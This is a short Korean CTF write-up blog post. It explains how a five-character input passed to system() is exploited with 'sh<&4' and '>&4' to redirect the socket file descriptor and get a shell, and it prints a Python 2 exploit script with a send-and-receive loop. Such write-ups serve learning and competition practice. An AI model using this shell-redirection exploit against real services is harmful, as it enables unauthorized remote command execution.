익스플로잇이 엄청 간단하다.
5글자를 받아와서 system에서 실행시켜주는 그런 문제인데, 5글자밖에 되지 않으니 파일 디스크립터를 이용하여 원하는 명령을 입력하도록 해야 한다고 생각했다.
리눅스에서 소켓의 fd는 기본적으로 4이므로 &4는 소켓의 fd를 의미한다.
따라서 sh를 실행시키고, 인자는 &4에서 받도록 < 를 이용해 넘겨준다.
sh에서 실행된 대부분의 명령은 모두 stdin으로 출력되므로 그것도 마찬가지로 &4로 받아오기 위해 뒤에 >&4를 붙여서 넘겨주면 쉘을 딴 것과 같은 효과를 낼 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | from socket import * from telnetlib import * from time import * HOST = '192.168.136.213' PORT = 31339 sock = socket(AF_INET, SOCK_STREAM) sock.connect((HOST, PORT)) while True: sock.send('sh<&4') data = raw_input('$ ') sock.send(data+">&4\n") sleep(0.1) print sock.recv(1024) | cs |
'CTF > 지난 대회' 카테고리의 다른 글
SecuInside 2013 - PE_time (0) | 2016.01.13 |
---|---|
SecuInside 2013 - reader (0) | 2016.01.13 |
Codegate Junior 2015 Prequal - systemshock (0) | 2015.12.05 |
Codegate 2013 Prequal - vuln 300 (0) | 2015.11.21 |
Codegate 2013 Prequal - vuln 200 (0) | 2015.11.21 |